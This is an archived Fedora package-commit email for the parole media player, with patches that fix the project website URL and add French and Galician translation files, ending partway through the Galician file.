* Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-2
- BuildRequire taglib-devel and fix libnotify requirement

* Wed Oct 07 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-1
- Update to 0.1.90
- Loads of additional translations

* Fri Sep 18 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1-0.1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/parole/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:54:49 -0000	1.1
+++ .cvsignore	9 Oct 2009 08:42:16 -0000	1.2
@@ -0,0 +1 @@
+parole-0.1.90.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/parole/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:54:49 -0000	1.1
+++ sources	9 Oct 2009 08:42:16 -0000	1.2
@@ -0,0 +1 @@
+acf9085b49cf41469ce41076e6915253  parole-0.1.90.tar.bz2



From cwickert at fedoraproject.org  Fri Oct  9 08:42:18 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Fri,  9 Oct 2009 08:42:18 +0000 (UTC)
Subject: rpms/parole/F-11 parole-0.1.90-fix-website-url.patch, NONE,
	1.1 parole-0.1.90-include-french-translation.patch, NONE,
	1.1 parole-0.1.90-include-galician-translation.patch, NONE,
	1.1 parole-0.1.90-include-german-translation.patch, NONE,
	1.1 parole-0.1.90-update-asturian-translation.patch, NONE,
	1.1 parole-0.1.90-update-japanese-translation.patch, NONE,
	1.1 parole.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091009084218.4F5FC11C00C1@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/parole/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14504/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	parole-0.1.90-fix-website-url.patch 
	parole-0.1.90-include-french-translation.patch 
	parole-0.1.90-include-galician-translation.patch 
	parole-0.1.90-include-german-translation.patch 
	parole-0.1.90-update-asturian-translation.patch 
	parole-0.1.90-update-japanese-translation.patch parole.spec 
Log Message:
Initial build for this branch

parole-0.1.90-fix-website-url.patch:
 parole/parole-about.c                  |    7 ++++---
 plugins/properties/stream-properties.c |    2 +-
 plugins/tray/tray-icon.c               |    2 +-
 plugins/window-title/window-title.c    |    3 +--
 4 files changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE parole-0.1.90-fix-website-url.patch ---
>From 346982b9ca86b645b19385fa7549ec43e38c2b88 Mon Sep 17 00:00:00 2001
From: Ali Abdallah <ali at ali-xfce.org>
Date: Wed, 07 Oct 2009 13:25:44 +0000
Subject: Correct the project website

---
diff --git a/parole/parole-about.c b/parole/parole-about.c
index ee36f11..b989100 100644
--- a/parole/parole-about.c
+++ b/parole/parole-about.c
@@ -52,7 +52,7 @@ void  parole_about (const gchar *package)
                                 XFCE_COPYRIGHT_TEXT ("2009", "Ali Abdallah"), 
 				XFCE_LICENSE_GPL);
 
-    xfce_about_info_set_homepage (info, "http://goodies.xfce.org/projects/applications/parole-media-player");
+    xfce_about_info_set_homepage (info, "http://goodies.xfce.org/projects/applications/parole");
     xfce_about_info_add_credit (info, "Ali Abdallah", "aliov at xfce.org", _("Author/Maintainer"));
   
 
@@ -69,11 +69,12 @@ void  parole_about (const gchar *package)
     
     dialog = xfce_about_dialog_new_with_values (NULL, info, icon);
     
-    if (icon)
-	g_object_unref (G_OBJECT (icon));
 	
     gtk_dialog_run (GTK_DIALOG (dialog));
     gtk_widget_destroy (dialog);
 
     xfce_about_info_free (info);
+    
+    if (icon)
+	g_object_unref (G_OBJECT (icon));
 }
diff --git a/plugins/properties/stream-properties.c b/plugins/properties/stream-properties.c
index 5cb6cc7..f49f331 100644
--- a/plugins/properties/stream-properties.c
+++ b/plugins/properties/stream-properties.c
@@ -490,4 +490,4 @@ PAROLE_PLUGIN_CONSTRUCT (construct,                  /* Construct function */
 			 _("Properties"),            /* Title */
 			 _("Read media properties"), /* Description */
 			 "Copyright \302\251 2009 Ali Abdallah aliov at xfce.org",            /* Author */
-			 "http://goodies.xfce.org/projects/applications/parole-media-player"); /* Site */
+			 "http://goodies.xfce.org/projects/applications/parole"); /* Site */
diff --git a/plugins/tray/tray-icon.c b/plugins/tray/tray-icon.c
index b64c962..b56b57d 100644
--- a/plugins/tray/tray-icon.c
+++ b/plugins/tray/tray-icon.c
@@ -544,4 +544,4 @@ PAROLE_PLUGIN_CONSTRUCT (construct,                  	    /* Construct function
 			 _("Tray icon"),            	    /* Title */
 			 _("Show icon in the system tray"), /* Description */
 			 "Copyright \302\251 2009 Ali Abdallah aliov at xfce.org", /* Author */
-			 "http://goodies.xfce.org/projects/applications/parole-media-player"); /* Site */
+			 "http://goodies.xfce.org/projects/applications/parole"); /* Site */
diff --git a/plugins/window-title/window-title.c b/plugins/window-title/window-title.c
index 976fb5a..ff49057 100644
--- a/plugins/window-title/window-title.c
+++ b/plugins/window-title/window-title.c
@@ -103,4 +103,4 @@ PAROLE_PLUGIN_CONSTRUCT (construct,                  /* Construct function */
 			 _("Set the main window name to the current\n"
 			  " playing media name."),    /* Description */
 			  "Copyright \302\251 2009 Sarah Hijazi",            /* Author */
-			  "http://goodies.xfce.org/projects/applications/parole-media-player");            /* site */
+			  "http://goodies.xfce.org/projects/applications/parole");            /* site */
--
cgit v0.8.2.1

parole-0.1.90-include-french-translation.patch:
 fr.po |  725 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 724 insertions(+), 1 deletion(-)

--- NEW FILE parole-0.1.90-include-french-translation.patch ---
>From 051f1a31c797c60ccedd1a36b6403aac9b950ed8 Mon Sep 17 00:00:00 2001
From: Steve Dodier <sidnioulz at gmail.com>
Date: Wed, 07 Oct 2009 05:23:23 +0000
Subject: l10n: Uploading a french translation.

Transmitted-via: Transifex (translations.xfce.org)
---
diff --git a/po/fr.po b/po/fr.po
new file mode 100644
index 0000000..e917d6d
--- a/dev/null
+++ b/po/fr.po
@@ -0,0 +1,724 @@
+# French translations of parole
+# Copyright (C) 2009 the parole-media-player's copyright holder
+# This file is distributed under the same license as the parole-media-player package.
+# Steve Dodier <sidnioulz at gmail.com>
+msgid ""
+msgstr ""
+"Project-Id-Version: ast\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-10-04 10:38:54+02:00\n"
+"PO-Revision-Date: 2009-10-04 11:48+0100\n"
+"Last-Translator: Steve Dodier <sidnioulz at gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: French\n"
+"X-Poedit-Country: France\n"
+"Language-Team: \n"
+
+#: ../data/interfaces/parole.ui.h:1
+msgid "16:9 (Widescreen)"
+msgstr "16:9 (?cran large)"
+
+#: ../data/interfaces/parole.ui.h:2
+msgid "20:9 (DVB)"
+msgstr "20:9 (DVB)"
+
+#: ../data/interfaces/parole.ui.h:3
+msgid "4:3 (TV)"
+msgstr "4:3 (TV)"
+
+#: ../data/interfaces/parole.ui.h:4
+msgid "Aspect Ratio"
+msgstr "Ratio d'Aspect"
+
+#: ../data/interfaces/parole.ui.h:5
+msgid "Auto"
+msgstr "Auto"
+
+#: ../data/interfaces/parole.ui.h:6
+#, fuzzy
+msgid "Chapter Menu"
+msgstr "Menu des Chapitres"
+
+#: ../data/interfaces/parole.ui.h:7
+#, fuzzy
+msgid "DVD Menu"
+msgstr "Menu du DVD"
+
+#: ../data/interfaces/parole.ui.h:8
+#: ../parole/parole-player.c:288
+msgid "Hide playlist"
+msgstr "Cacher la liste de lecture"
+
+#: ../data/interfaces/parole.ui.h:9
+msgid "Media player"
+msgstr "Lecteur M?dia"
+
+#: ../data/interfaces/parole.ui.h:10
+#, fuzzy
+msgid "Mute"
+msgstr "Mettre en sourdine"
+
+#: ../data/interfaces/parole.ui.h:11
+#: ../parole/parole-player.c:1002
+#: ../parole/parole-disc-menu.c:113
+msgid "Next Chapter"
+msgstr "Chapitre Suivant"
+
+#: ../data/interfaces/parole.ui.h:12
+#, fuzzy
+msgid "None"
+msgstr "Aucun"
+
+#: ../data/interfaces/parole.ui.h:13
+#: ../data/desktop/parole.desktop.in.in.h:1
+#: ../parole/parole-player.c:225
+#: ../parole/parole-about.c:51
+#: ../plugins/window-title/window-title.c:40
+msgid "Parole Media Player"
+msgstr "Lecteur M?dia Parole"
+
+#: ../data/interfaces/parole.ui.h:14
+msgid "Plugins"
+msgstr "Greffons"
+
+#: ../data/interfaces/parole.ui.h:15
+#: ../parole/parole-player.c:1014
+#: ../parole/parole-disc-menu.c:114
+msgid "Previous Chapter"
+msgstr "Chapitre Pr?c?dent"
+
+#: ../data/interfaces/parole.ui.h:16
+msgid "Repeat"
+msgstr "R?p?ter"
+
+#: ../data/interfaces/parole.ui.h:17
+#, fuzzy
+msgid "Select Track"
+msgstr "S?lectionner une Piste"
+
+#: ../data/interfaces/parole.ui.h:18
+#, fuzzy
+msgid "Shuffle"
+msgstr "M?langer"
+
+#: ../data/interfaces/parole.ui.h:19
+msgid "Sound"
+msgstr "Son"
+
+#: ../data/interfaces/parole.ui.h:20
+msgid "Square"
+msgstr "Carr?"
+
+#: ../data/interfaces/parole.ui.h:21
+msgid "Volume Down"
+msgstr "Diminuer le Volume"
+
+#: ../data/interfaces/parole.ui.h:22
+msgid "Volume Up"
+msgstr "Augmenter le Volume"
+
+#: ../data/interfaces/parole.ui.h:23
+msgid "_Edit"
+msgstr "_?diter"
+
+#: ../data/interfaces/parole.ui.h:24
+msgid "_Help"
+msgstr "Aid_e"
+
+#: ../data/interfaces/parole.ui.h:25
+msgid "_Media"
+msgstr "_M?dia"
+
+#: ../data/interfaces/parole.ui.h:26
+msgid "_View"
+msgstr "_Affichage"
+
+#: ../data/interfaces/parole.ui.h:27
+msgid "gtk-leave-fullscreen"
+msgstr "gtk-leave-fullscreen"
+
+#: ../data/interfaces/plugins.ui.h:1
+msgid "<b>Author:</b>"
+msgstr "<b>Auteur :</b>"
+
+#: ../data/interfaces/plugins.ui.h:2
+msgid "<b>Description:</b>"
+msgstr "<b>Description :</b>"
+
+#: ../data/interfaces/plugins.ui.h:3
+#, fuzzy
+msgid "<b>Site:</b>"
+msgstr "<b>Site :</b>"
+
+#: ../data/interfaces/plugins.ui.h:4
+msgid "Parole Plugins Preferences"
+msgstr "Pr?f?rences des Greffons de Parole"
+
+#: ../data/interfaces/plugins.ui.h:5
+msgid "gtk-close"
+msgstr "gtk-close"
+
+#: ../data/interfaces/plugins.ui.h:6
+msgid "gtk-properties"
+msgstr "gtk-properties"
+
+#: ../data/interfaces/parole-settings.ui.h:1
+msgid "<b>Audio</b>"
+msgstr "<b>Audio</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:2
+msgid "<b>Display</b>"
+msgstr "<b>Affichage</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:3
+msgid "<b>Subtitles</b>"
+msgstr "<b>Sous-titres</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:4
+msgid "Automatically load subtitles when playing movie file"
+msgstr "Charger les sous-titres automatiquement lors de la lecture d'un film"
+
+#: ../data/interfaces/parole-settings.ui.h:5
+msgid "Brightness:"
+msgstr "Luminosit? :"
+
+#: ../data/interfaces/parole-settings.ui.h:6
+msgid "Contrast:"
+msgstr "Contraste :"
+
+#: ../data/interfaces/parole-settings.ui.h:7
+msgid "Enable visualization when playing audio file"
+msgstr "Activer la visualisation lors de la lecture d'un fichier audio"
+
+#: ../data/interfaces/parole-settings.ui.h:8
+msgid "Encoding: "
+msgstr "Encodage :"
+
+#: ../data/interfaces/parole-settings.ui.h:9
+msgid "Font:"
+msgstr "Police :"
+
+#: ../data/interfaces/parole-settings.ui.h:10
+msgid "Hue:"
+msgstr "Teinte :"
+
+#: ../data/interfaces/parole-settings.ui.h:11
+#, fuzzy
+msgid "Media Player Settings"
+msgstr "Param?tres du Lecteur M?dia"
+
+#: ../data/interfaces/parole-settings.ui.h:12
+msgid "Parole Settings"
+msgstr "Param?tres de Parole"
+
+#: ../data/interfaces/parole-settings.ui.h:13
+#, fuzzy
+msgid "Reset To Defaults"
+msgstr "R?initialiser "
+
+#: ../data/interfaces/parole-settings.ui.h:14
+msgid "Saturation:"
+msgstr "Saturation :"
+
+#: ../data/interfaces/parole-settings.ui.h:15
+msgid "Visualization type:"
+msgstr "Type de visualisation :"
+
+#: ../data/interfaces/save-playlist.ui.h:1
+msgid "By Extension"
+msgstr "Par Extension"
+
+#: ../data/interfaces/save-playlist.ui.h:2
+msgid "Select File Types (By Extension)"
+msgstr "S?lectionner des Types de Fichiers (Par Extension)"
+
+#: ../parole/main.c:52
+#, fuzzy, c-format
+msgid ""
+"\n"
+"Parole Media Player %s\n"
+"\n"
+"Part of the Xfce Goodies Project\n"
+"http://goodies.xfce.org\n"
+"\n"
+"Licensed under the GNU GPL.\n"
+"\n"
+msgstr ""
+"\n"
+"Lecteur M?dia Parole %s\n"
+"\n"
+"Membre du Projet des Goodies Xfce\n"
+"http://goodies.xfce.org\n"
+"\n"
+"Sous licence GNU GPL.\n"
+"\n"
+
+#: ../parole/main.c:156
+msgid "Open a new instance"
+msgstr "Ouvrir une nouvelle instance"
+
+#: ../parole/main.c:157
+msgid "Version information"
+msgstr "Information de version"
+
+#: ../parole/main.c:158
+msgid "Media to play"
+msgstr "M?dia ? lire"
+
+#: ../parole/main.c:193
+#, c-format
+msgid "Parole is already running, use -i to open a new instance\n"
+msgstr "Parole est d?j? en cours de fonctionnement. Utilisez -i pour ouvrir une nouvelle instance\n"
+
+#: ../parole/parole-gst.c:1289
+#, fuzzy
+msgid "Unable to load playbin GStreamer plugin, check your GStreamer installation"
+msgstr "Impossible de charger le greffon de lecture GStreamer, v?rifiez votre installation de GStreamer"
+
+#: ../parole/parole-gst.c:1305
+#, fuzzy
+msgid "Unable to load video GStreamer plugin, check your GStreamer installation"
+msgstr "Impossible de charger le greffon vid?o GStreamer, v?rifiez votre installation de GStreamer"
+
+#: ../parole/parole-gst.c:1501
+#, fuzzy
+msgid "The stream is tacking too much time to load"
+msgstr "Le flux met trop de temps ? charger"
+
+#: ../parole/parole-gst.c:1501
+msgid "Stop"
+msgstr "Arr?t"
+
+#: ../parole/parole-mediachooser.c:154
+#, fuzzy
+msgid "Add media files"
+msgstr "Ajouter des fichiers m?dia"
+
+#: ../parole/parole-mediachooser.c:173
+msgid "Add"
+msgstr "Ajouter"
+
+#: ../parole/parole-medialist.c:432
+#, fuzzy
+msgid "Error saving playlist file"
+msgstr "Erreur lors de la sauvegarde de la liste de lecture"
+
+#: ../parole/parole-medialist.c:432
+msgid "Permission denied"
+msgstr "Permission non accord?e"
+
+#: ../parole/parole-medialist.c:441
+#, fuzzy
+msgid "Unknown playlist format, Please select a support playlist format"
+msgstr "Format de liste de lecture inconnu, Veuillez s?lectionner un format de liste de lecture pris en charge"
+
+#: ../parole/parole-medialist.c:507
+#: ../parole/parole-player.c:1542
+msgid "Playlist"
+msgstr "Liste de lecture"
+
+#: ../parole/parole-medialist.c:514
+#, fuzzy
+msgid "M3U Playlists"
+msgstr "Listes de lecture M3U"
+
+#: ../parole/parole-medialist.c:522
+#, fuzzy
+msgid "PLS Playlists"
+msgstr "Listes de lecture PLS"
+
+#: ../parole/parole-medialist.c:530
+#, fuzzy
+msgid "Advanced Stream Redirector"
+msgstr "Redirecteur de Flux Avanc?"
+
+#: ../parole/parole-medialist.c:538
+msgid "Shareable Playlist"
+msgstr "Liste de Lecture Partageable"
+
+#: ../parole/parole-medialist.c:853
+msgid "Remember playlist"
+msgstr "Se souvenir de la liste de lecture"
+
+#: ../parole/parole-medialist.c:1003
+#, fuzzy
+msgid "Media list"
+msgstr "Liste de m?dias"
+
+#: ../parole/parole-player.c:297
+msgid "Show playlist"
+msgstr "Afficher la liste de lecture"
+
+#: ../parole/parole-player.c:507
+#, fuzzy
+msgid "Media stream is not seekable"
+msgstr "Le flux m?dia ne peut ?tre parcouru"
+
+#.
+#. * Next chapter menu item
+#.
+#: ../parole/parole-player.c:1002
+#: ../parole/parole-disc-menu.c:122
+msgid "Next Track"
+msgstr "Piste Suivante"
+
+#.
+#. * Previous chapter menu item
+#.
+#: ../parole/parole-player.c:1014
+#: ../parole/parole-disc-menu.c:123
+msgid "Previous Track"
+msgstr "Piste Pr?c?dente"
+
+#: ../parole/parole-statusbar.c:60
+#, fuzzy
+msgid "Buffering"
+msgstr "Mise en tampon"
+
+#: ../parole/parole-statusbar.c:77
+#, fuzzy
+msgid "Stopped"
+msgstr "Interrompu"
+
+#: ../parole/parole-statusbar.c:81
+msgid "Finished"
+msgstr "Fini"
+
+#: ../parole/parole-statusbar.c:88
+#: ../parole/parole-statusbar.c:96
+msgid "Paused"
+msgstr "Mis en pause"
+
+#: ../parole/parole-statusbar.c:117
+msgid "Live stream:"
+msgstr "Flux live :"
+
+#: ../parole/parole-filters.c:57
+msgid "Audio"
+msgstr "Audio"
+
+#: ../parole/parole-filters.c:75
+msgid "Video"
+msgstr "Vid?o"
+
+#: ../parole/parole-filters.c:93
+msgid "Audio and video"
+msgstr "Audio et vid?o"
+
+#: ../parole/parole-filters.c:111
+#, fuzzy
+msgid "All supported files"
+msgstr "Tous les fichiers pris en charge"
+
+#: ../parole/parole-filters.c:127
+msgid "Playlist files"
+msgstr "Listes de lecture"
+
+#: ../parole/parole-about.c:56
+msgid "Author/Maintainer"
+msgstr "Auteur / Mainteneur"
+
+#: ../parole/parole-about.c:62
+#, fuzzy, c-format
+msgid "Translator (%s)"
+msgstr "Traducteur (%s)"
+
+#: ../parole/parole-disc.c:202
+#, fuzzy
+msgid "Play Disc"
+msgstr "Lire un Disque"
+
+#: ../parole/parole-subtitle-encoding.c:165
+#, fuzzy
+msgid "Current Locale"
+msgstr "Langue Actuelle"
+
+#: ../parole/parole-subtitle-encoding.c:168
+#: ../parole/parole-subtitle-encoding.c:170
+#: ../parole/parole-subtitle-encoding.c:172
+#: ../parole/parole-subtitle-encoding.c:174
+msgid "Arabic"
+msgstr "Arabe"
+
+#: ../parole/parole-subtitle-encoding.c:177
+msgid "Armenian"
+msgstr "Arm?nien"
+
+#: ../parole/parole-subtitle-encoding.c:180
+#: ../parole/parole-subtitle-encoding.c:182
+#: ../parole/parole-subtitle-encoding.c:184
+msgid "Baltic"
+msgstr "Baltique"
+
+#: ../parole/parole-subtitle-encoding.c:187
+msgid "Celtic"
+msgstr "Celtique"
+
+#: ../parole/parole-subtitle-encoding.c:190
+#: ../parole/parole-subtitle-encoding.c:192
+#: ../parole/parole-subtitle-encoding.c:194
+#: ../parole/parole-subtitle-encoding.c:196
+msgid "Central European"
+msgstr "Europe Centrale"
+
+#: ../parole/parole-subtitle-encoding.c:199
+#: ../parole/parole-subtitle-encoding.c:201
+#: ../parole/parole-subtitle-encoding.c:203
+#: ../parole/parole-subtitle-encoding.c:205
+msgid "Chinese Simplified"
+msgstr "Chinois Simplifi?"
+
+#: ../parole/parole-subtitle-encoding.c:208
+#: ../parole/parole-subtitle-encoding.c:210
+#: ../parole/parole-subtitle-encoding.c:212
+msgid "Chinese Traditional"
+msgstr "Chinois Traditionnel"
+
+#: ../parole/parole-subtitle-encoding.c:215
+msgid "Croatian"
+msgstr "Croate"
+
+#: ../parole/parole-subtitle-encoding.c:218
+#: ../parole/parole-subtitle-encoding.c:220
+#: ../parole/parole-subtitle-encoding.c:222
+#: ../parole/parole-subtitle-encoding.c:224
+#: ../parole/parole-subtitle-encoding.c:226
+#: ../parole/parole-subtitle-encoding.c:228
+msgid "Cyrillic"
+msgstr "Cyrillique"
+
+#: ../parole/parole-subtitle-encoding.c:231
+msgid "Cyrillic/Russian"
+msgstr "Cyrillique / Russe "
+
+#: ../parole/parole-subtitle-encoding.c:234
+#: ../parole/parole-subtitle-encoding.c:236
+msgid "Cyrillic/Ukrainian"
+msgstr "Cyrillique / Ukrainien"
+
+#: ../parole/parole-subtitle-encoding.c:239
+msgid "Georgian"
+msgstr "G?orgien"
+
+#: ../parole/parole-subtitle-encoding.c:242
+#: ../parole/parole-subtitle-encoding.c:244
+#: ../parole/parole-subtitle-encoding.c:246
+msgid "Greek"
+msgstr "Grec"
+
+#: ../parole/parole-subtitle-encoding.c:249
+msgid "Gujarati"
+msgstr "Gujrati"
+
+#: ../parole/parole-subtitle-encoding.c:252
+msgid "Gurmukhi"
+msgstr "Gurmukh?"
+
+#: ../parole/parole-subtitle-encoding.c:255
+#: ../parole/parole-subtitle-encoding.c:257
+#: ../parole/parole-subtitle-encoding.c:259
+#: ../parole/parole-subtitle-encoding.c:261
+msgid "Hebrew"
+msgstr "H?breux"
+
+#: ../parole/parole-subtitle-encoding.c:264
+msgid "Hebrew Visual"
+msgstr "H?breux Visuel"
+
+#: ../parole/parole-subtitle-encoding.c:267
+msgid "Hindi"
+msgstr "Hindi"
+
+#: ../parole/parole-subtitle-encoding.c:270
+msgid "Icelandic"
+msgstr "Islandais"
+
+#: ../parole/parole-subtitle-encoding.c:273
+#: ../parole/parole-subtitle-encoding.c:275
+#: ../parole/parole-subtitle-encoding.c:277
+msgid "Japanese"
+msgstr "Japonais"
+
+#: ../parole/parole-subtitle-encoding.c:280
+#: ../parole/parole-subtitle-encoding.c:282
+#: ../parole/parole-subtitle-encoding.c:284
+#: ../parole/parole-subtitle-encoding.c:286
+msgid "Korean"
+msgstr "Cor?en"
+
+#: ../parole/parole-subtitle-encoding.c:289
+msgid "Nordic"
+msgstr "Nordique"
+
+#: ../parole/parole-subtitle-encoding.c:292
+msgid "Persian"
+msgstr "Perse"
+
+#: ../parole/parole-subtitle-encoding.c:295
+#: ../parole/parole-subtitle-encoding.c:297
+msgid "Romanian"
+msgstr "Roumain"
+
+#: ../parole/parole-subtitle-encoding.c:300
+msgid "South European"
+msgstr "Europe du Sud"
+
+#: ../parole/parole-subtitle-encoding.c:303
+msgid "Thai"
+msgstr "Tha?"
+
+#: ../parole/parole-subtitle-encoding.c:306
+#: ../parole/parole-subtitle-encoding.c:308
+#: ../parole/parole-subtitle-encoding.c:310
+#: ../parole/parole-subtitle-encoding.c:312
+msgid "Turkish"
+msgstr "Turc"
+
+#: ../parole/parole-subtitle-encoding.c:315
+#: ../parole/parole-subtitle-encoding.c:317
+#: ../parole/parole-subtitle-encoding.c:319
+#: ../parole/parole-subtitle-encoding.c:321
+#: ../parole/parole-subtitle-encoding.c:323
+msgid "Unicode"
+msgstr "Unicode"
+
+#: ../parole/parole-subtitle-encoding.c:326
+#: ../parole/parole-subtitle-encoding.c:328
+#: ../parole/parole-subtitle-encoding.c:330
+#: ../parole/parole-subtitle-encoding.c:332
+#: ../parole/parole-subtitle-encoding.c:334
+msgid "Western"
+msgstr "Occident"
+
+#: ../parole/parole-subtitle-encoding.c:337
+#: ../parole/parole-subtitle-encoding.c:339
+#: ../parole/parole-subtitle-encoding.c:341
+msgid "Vietnamese"
+msgstr "Vietnamien"
+
+#: ../parole/parole-open-location.c:181
+msgid "Open location..."
+msgstr "Ouvrir un emplacement..."
+
+#: ../parole/parole-open-location.c:186
+#, fuzzy
+msgid "<b>Open location of media file or live stream:</b>"
+msgstr "<b>Ouvrir l'emplacement d'un fichier m?dia ou flux live :</b>"
+
+#: ../parole/parole-open-location.c:205
+msgid "Clear history"
+msgstr "Effacer l'historique"
+
+#: ../parole/parole-disc-menu.c:130
+msgid "Playing Track"
+msgstr "Piste en Cours de Lecture"
+
+#: ../parole/parole-disc-menu.c:194
+#, c-format
+msgid "Track %i"
+msgstr "Piste %i"
+
+#: ../parole/parole-plugins-manager.c:227
+msgid "Visit Website"
+msgstr "Visiter le Site Web"
+
+#: ../parole/parole-plugins-manager.c:285
+msgid "Visite Website"
+msgstr "Visiter le Site Web"
+
+#: ../plugins/properties/stream-properties.c:121
+#: ../plugins/properties/stream-properties.c:122
+#: ../plugins/properties/stream-properties.c:123
+#: ../plugins/properties/stream-properties.c:124
+#, fuzzy
+msgid "Unknown"
+msgstr "Inconnu"
+
+#: ../plugins/properties/stream-properties.c:220
+msgid "Title:"
+msgstr "Titre :"
+
+#: ../plugins/properties/stream-properties.c:243
+msgid "Artist:"
+msgstr "Artiste :"
+
+#: ../plugins/properties/stream-properties.c:266
+msgid "Album:"
+msgstr "Album :"
+
+#: ../plugins/properties/stream-properties.c:289
+msgid "Year:"
+msgstr "Ann?e :"
+
+#: ../plugins/properties/stream-properties.c:307
+msgid "General"
+msgstr "G?n?ral"
+
+#: ../plugins/properties/stream-properties.c:354
+msgid "Stream doesn't support tags changes"
+msgstr "Le flux ne prend pas les changements de tags en charge"
+
+#: ../plugins/properties/stream-properties.c:361
+#, fuzzy
+msgid "Save media tags changes"
+msgstr "Sauvegarder les changements de tags"
+
+#. Construct function
+#: ../plugins/properties/stream-properties.c:485
+msgid "Properties"
+msgstr "Propri?t?s"
+
+#. Title
+#: ../plugins/properties/stream-properties.c:486
+#, fuzzy
+msgid "Read media properties"
+msgstr "Lire les propri?t?s du m?dia"
+
+#: ../plugins/tray/tray-icon.c:222
+#, fuzzy
+msgid "<b>Playing:</b>"
+msgstr "<b>Lecture en cours :</b>"
+
+#: ../plugins/tray/tray-icon.c:222
+msgid "<b>Duration:</b>"
+msgstr "<b>Dur?e :</b>"
+
+#: ../plugins/tray/tray-icon.c:347
+#, fuzzy
+msgid "Tray icon plugin"
+msgstr "Greffon d'ic?ne de la zone de notification"
+
+#: ../plugins/tray/tray-icon.c:356
+msgid "Enable notification"
+msgstr "Activer les notifications"
+
+#. Construct function
+#: ../plugins/tray/tray-icon.c:427
+#, fuzzy
+msgid "Tray icon"
+msgstr "Ic?ne de la zone de notification"
+
+#. Title
+#: ../plugins/tray/tray-icon.c:428
+#, fuzzy
+msgid "Show icon in the system tray"
+msgstr "Montrer une ic?ne dans la zone de notification"
+
+#. Construct function
+#: ../plugins/window-title/window-title.c:102
+#, fuzzy
+msgid "Window title"
+msgstr "Titre de la Fen?tre"
+
+#. Title
+#: ../plugins/window-title/window-title.c:103
+#, fuzzy
+msgid ""
+"Set the main window name to the current\n"
+" playing media name."
+msgstr ""
+"D?finir le nom de la fen?tre principale au nom\n"
+" du m?dia en cours de lecture"
+
--
cgit v0.8.2.1

parole-0.1.90-include-galician-translation.patch:
 gl.po |  721 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 720 insertions(+), 1 deletion(-)

--- NEW FILE parole-0.1.90-include-galician-translation.patch ---
>From df8ad0098db0d1bc1a2f08b89554607e8ec85b19 Mon Sep 17 00:00:00 2001
From: Leandro Regueiro <leandro.regueiro at gmail.com>
Date: Tue, 06 Oct 2009 11:32:08 +0000
Subject: l10n: created galician translation

Transmitted-via: Transifex (translations.xfce.org)
---
diff --git a/po/gl.po b/po/gl.po
new file mode 100644
index 0000000..59ed33a
--- a/dev/null
+++ b/po/gl.po
@@ -0,0 +1,720 @@
+# Galician translation of notification-daemon-xfce
+# Copyright (C) 2009 Leandro Regueiro.
+# This file is distributed under the same license as the Xfce package.
+#
+# Leandro Regueiro <leandro DOT regueiro AT gmail DOT com>, 2009.
+#
+# Proxecto Trasno - Adaptaci?n do software libre ? lingua galega:  Se desexas
+# colaborar connosco, podes atopar m?is informaci?n en <http://trasno.net>
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: Parole 0.1\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-08-16 16:02+0200\n"
+"PO-Revision-Date: 2009-10-04 14:50+0100\n"
+"Last-Translator: Leandro Regueiro <leandro.regueiro at gmail.com>\n"
+"Language-Team: Galician <proxecto at trasno.net>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+
+#: ../data/interfaces/parole.ui.h:1
+msgid "16:9 (Widescreen)"
+msgstr "16:9 (Panor?mico)"
+
+#: ../data/interfaces/parole.ui.h:2
+msgid "20:9 (DVB)"
+msgstr "20:9 (DVB)"
+
+#: ../data/interfaces/parole.ui.h:3
+msgid "4:3 (TV)"
+msgstr "4:3 (TV)"
+
+#: ../data/interfaces/parole.ui.h:4
+#, fuzzy
+msgid "Aspect Ratio"
+msgstr "Proporci?n de aspecto:"
+
+#: ../data/interfaces/parole.ui.h:5
+#, fuzzy
+msgid "Auto"
+msgstr "Autom?tico"
+
+#: ../data/interfaces/parole.ui.h:6
+msgid "Chapter Menu"
+msgstr "Men? de cap?tulos"
+
+#: ../data/interfaces/parole.ui.h:7
+msgid "DVD Menu"
+msgstr "Men? do DVD"
+
+#: ../data/interfaces/parole.ui.h:8
+#: ../parole/parole-player.c:288
+msgid "Hide playlist"
+msgstr "Ocultar a lista de reproduci?n"
+
+#: ../data/interfaces/parole.ui.h:9
+msgid "Media player"
+msgstr "Reprodutor multimedia"
+
+#: ../data/interfaces/parole.ui.h:10
+msgid "Mute"
+msgstr "Silencio"
+
+#: ../data/interfaces/parole.ui.h:11
+#: ../parole/parole-player.c:1002
+#: ../parole/parole-disc-menu.c:113
+msgid "Next Chapter"
+msgstr "Cap?tulo seguinte"
+
+#: ../data/interfaces/parole.ui.h:12
+#, fuzzy
+msgid "None"
+msgstr "Ningunha"
+
+#: ../data/interfaces/parole.ui.h:13
+#: ../data/desktop/parole.desktop.in.in.h:1
+#: ../parole/parole-player.c:225
+#: ../parole/parole-about.c:51
+#: ../plugins/window-title/window-title.c:40
